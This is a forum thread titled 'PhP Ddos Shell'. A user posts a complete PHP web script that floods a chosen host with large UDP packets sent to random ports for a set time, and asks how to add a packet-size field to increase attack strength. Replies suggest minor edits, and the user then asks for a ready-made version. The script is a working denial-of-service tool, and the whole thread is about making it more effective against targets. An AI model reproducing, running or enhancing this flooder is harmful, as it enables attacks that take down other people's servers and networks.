Thread: [PhP Ddos Shell](#)

matrix1420 - February 9, 2013, 7:01 am

Can anybody tell me how I can insert a function into this script, which is used to set the size of the packages, to regulate the strength?

PHP Code

```
<?php
<html>

<body>
<font color="00FF20">

<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<br>
<p>
<br>
<p>
<center>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
        $out .= 'X';
```

```

}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fip = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fip){
fwrite($fip, $out);
fclose($fip);
}
}
echo "<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) .
" MB) packets averaging " . round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>

```

Quick glance at the code, just seems as if it's sending 'X', adding another X on each request, lol.

Sry im very inexperienced on this , i want to add a function into the webiste on then you can enter the size of the packages manually to regulate the strength of the current attack.

Currently you can insert only the IP and the Time .

<http://imageshack.us/photo/my-images/812/shella.png/>

And i will add Another line with the size of the packets but im to inexperienced in this area of php/html

PHP Code

```
<?php
$host = $_GET['host'];

for($i=0;$i<65000;$i++){
    $out .= 'X';
}
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
}
```

I am pretty sure you should change that. Try this.

Quote: \$host = \$_GET['host'];
PHP Code

```
<?php
for($i=1;$i<65000;$i++){
    $out .= "X";
}
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
}
```

@VipVince

I cant feel any change , what is the effect of this edit?

Sorry you posted your main question after I had initially answered your first post. Disregard it, its nothing major. As to manually specifying you could do that with another \$_POST and some tweeks to the PHP code.

@VipVince

Hmm im to inexperienced to do it self ;/

maybe you know a similar script in which it is already inserted ?
